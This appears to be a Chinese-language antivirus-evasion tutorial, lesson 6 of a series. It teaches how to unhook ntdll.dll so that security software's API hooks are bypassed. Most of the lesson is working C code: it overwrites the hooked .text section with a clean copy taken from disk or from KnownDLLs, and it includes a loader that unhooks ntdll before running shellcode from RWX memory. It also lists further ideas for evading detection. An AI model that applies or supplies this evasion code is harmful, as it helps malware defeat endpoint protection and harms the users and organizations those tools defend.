免杀专题
6、重载NTDLL
1. 课程概述
1.1 学习目标
- 理解安全软件Hook ntdll的方式
- 掌握从磁盘重新加载ntdll的技术
- 学会使用干净ntdll副本绕过Hook
- 理解内存映射与PE加载机制
1.2 前置知识
- PE文件结构
- 内存映射基础
- API Hook原理
2. 名词解释
2.1 核心术语
| 术语 | 说明 |
|---|---|
| ntdll.dll | Windows最底层的用户态DLL |
| Hook | 拦截函数调用的技术 |
| PE映射 | 将PE文件加载到内存 |
| .text段 | PE文件中的代码段 |
| 重载/Unhook | 恢复被Hook的函数 |
2.2 为什么需要重载NTDLL
进程启动时:
1. Windows加载ntdll.dll
2. 安全软件注入并Hook ntdll
3. 我们调用Nt函数被拦截
重载后:
1. 从磁盘读取原始ntdll.dll
2. 覆盖被Hook的.text段
3. 函数恢复正常
3. 实现方案
3.1 方案比较
| 方案 | 优点 | 缺点 |
|---|---|---|
| 从磁盘读取 | 简单直接 | 需要文件访问 |
| 从KnownDLLs读取 | 更干净 | 需要特殊权限 |
| 从挂起进程读取 | 绕过检测 | 实现复杂 |
4. 实现代码
4.1 从磁盘读取并重载
#include <windows.h>
#include <stdio.h>
BOOL UnhookNtdll() {
printf("[*] Starting ntdll unhooking...\n");
// 1. 获取当前加载的ntdll基址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
printf("[-] Failed to get ntdll handle\n");
return FALSE;
}
printf("[+] Current ntdll at: 0x%p\n", hNtdll);
// 2. 从磁盘读取原始ntdll
HANDLE hFile = CreateFileW(
L"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open ntdll.dll\n");
return FALSE;
}
// 获取文件大小
DWORD dwFileSize = GetFileSize(hFile, NULL);
printf("[+] File size: %lu bytes\n", dwFileSize);
// 分配内存读取文件
LPVOID pNtdllBuffer = VirtualAlloc(NULL, dwFileSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!pNtdllBuffer) {
CloseHandle(hFile);
printf("[-] Failed to allocate memory\n");
return FALSE;
}
// 读取文件
DWORD dwBytesRead;
if (!ReadFile(hFile, pNtdllBuffer, dwFileSize, &dwBytesRead, NULL)) {
VirtualFree(pNtdllBuffer, 0, MEM_RELEASE);
CloseHandle(hFile);
printf("[-] Failed to read file\n");
return FALSE;
}
CloseHandle(hFile);
printf("[+] Read %lu bytes from disk\n", dwBytesRead);
// 3. 解析PE结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pNtdllBuffer;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)pNtdllBuffer + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
// 4. 找到.text段
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)pSection[i].Name, ".text") == 0) {
printf("[+] Found .text section\n");
printf(" Virtual Address: 0x%X\n", pSection[i].VirtualAddress);
printf(" Size: 0x%X\n", pSection[i].Misc.VirtualSize);
// 5. 计算地址
LPVOID pDst = (PBYTE)hNtdll + pSection[i].VirtualAddress;
LPVOID pSrc = (PBYTE)pNtdllBuffer + pSection[i].PointerToRawData;
SIZE_T size = pSection[i].Misc.VirtualSize;
// 6. 修改内存保护
DWORD oldProtect;
if (!VirtualProtect(pDst, size, PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("[-] VirtualProtect failed\n");
VirtualFree(pNtdllBuffer, 0, MEM_RELEASE);
return FALSE;
}
// 7. 复制干净的.text段
memcpy(pDst, pSrc, size);
printf("[+] Copied %zu bytes to .text section\n", size);
// 8. 恢复内存保护
VirtualProtect(pDst, size, oldProtect, &oldProtect);
printf("[+] ntdll unhook completed!\n");
break;
}
}
VirtualFree(pNtdllBuffer, 0, MEM_RELEASE);
return TRUE;
}
int main() {
printf("========== NTDLL Unhooking ==========\n");
if (UnhookNtdll()) {
printf("[+] Success!\n");
} else {
printf("[-] Failed!\n");
}
return 0;
}
4.2 从KnownDLLs读取
#include <windows.h>
#include <stdio.h>
BOOL UnhookFromKnownDlls() {
// 打开KnownDLLs中的ntdll
HANDLE hSection = NULL;
UNICODE_STRING usSectionName;
OBJECT_ATTRIBUTES objAttr;
// 需要使用未导出API
typedef NTSTATUS(NTAPI* pNtOpenSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtOpenSection NtOpenSection = (pNtOpenSection)GetProcAddress(hNtdll, "NtOpenSection");
if (!NtOpenSection) {
printf("[-] NtOpenSection not found\n");
return FALSE;
}
// \KnownDlls\ntdll.dll
WCHAR szSectionName[] = L"\\KnownDlls\\ntdll.dll";
// 初始化UNICODE_STRING
usSectionName.Buffer = szSectionName;
usSectionName.Length = wcslen(szSectionName) * sizeof(WCHAR);
usSectionName.MaximumLength = usSectionName.Length + sizeof(WCHAR);
// 初始化OBJECT_ATTRIBUTES
memset(&objAttr, 0, sizeof(objAttr));
objAttr.Length = sizeof(objAttr);
objAttr.ObjectName = &usSectionName;
// 打开section
NTSTATUS status = NtOpenSection(&hSection, SECTION_MAP_READ, &objAttr);
if (status != 0) {
printf("[-] NtOpenSection failed: 0x%X\n", status);
return FALSE;
}
printf("[+] Opened KnownDlls section\n");
// 映射到内存
PVOID pMapped = NULL;
SIZE_T viewSize = 0;
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
pNtMapViewOfSection NtMapViewOfSection =
(pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
status = NtMapViewOfSection(
hSection,
GetCurrentProcess(),
&pMapped,
0,
0,
NULL,
&viewSize,
1, // ViewShare
0,
PAGE_READONLY
);
if (status != 0) {
CloseHandle(hSection);
printf("[-] NtMapViewOfSection failed: 0x%X\n", status);
return FALSE;
}
printf("[+] Mapped at: 0x%p (Size: 0x%zX)\n", pMapped, viewSize);
// 现在可以使用pMapped作为干净的ntdll副本
// ... 复制.text段的代码与之前类似 ...
CloseHandle(hSection);
return TRUE;
}
4.3 完整加载器示例
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90, // nop
0xC3 // ret
};
int main() {
printf("========== NTDLL Unhook + ShellCode Execution ==========\n");
// 1. 先unhook ntdll
if (!UnhookNtdll()) {
printf("[-] Unhook failed, continuing anyway...\n");
}
// 2. 现在Nt函数不会被安全软件拦截
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG
);
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtAllocateVirtualMemory NtAllocateVirtualMemory =
(pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
PVOID pMemory = NULL;
SIZE_T size = sizeof(shellcode);
NTSTATUS status = NtAllocateVirtualMemory(
GetCurrentProcess(),
&pMemory,
0,
&size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (status != 0) {
printf("[-] Allocation failed\n");
return 1;
}
printf("[+] Memory at: 0x%p\n", pMemory);
memcpy(pMemory, shellcode, sizeof(shellcode));
((void(*)())pMemory)();
printf("[+] Done!\n");
return 0;
}
5. 检测与对抗
5.1 安全软件可能的检测方式
- 监控对ntdll.dll文件的访问
- 检测.text段的修改
- 重新Hook
5.2 绕过思路
- 从其他位置获取ntdll(如WoW64)
- 使用挂起进程技术
- 结合直接syscall
6. 课后作业
6.1 基础练习
- 实现从磁盘读取并重载ntdll
- 对比重载前后的Nt函数字节
6.2 进阶练习
- 实现从KnownDLLs重载
- 检测ntdll是否被Hook的工具
7. 下一课预告
下一课我们将学习**“映射注入执行ShellCode”**。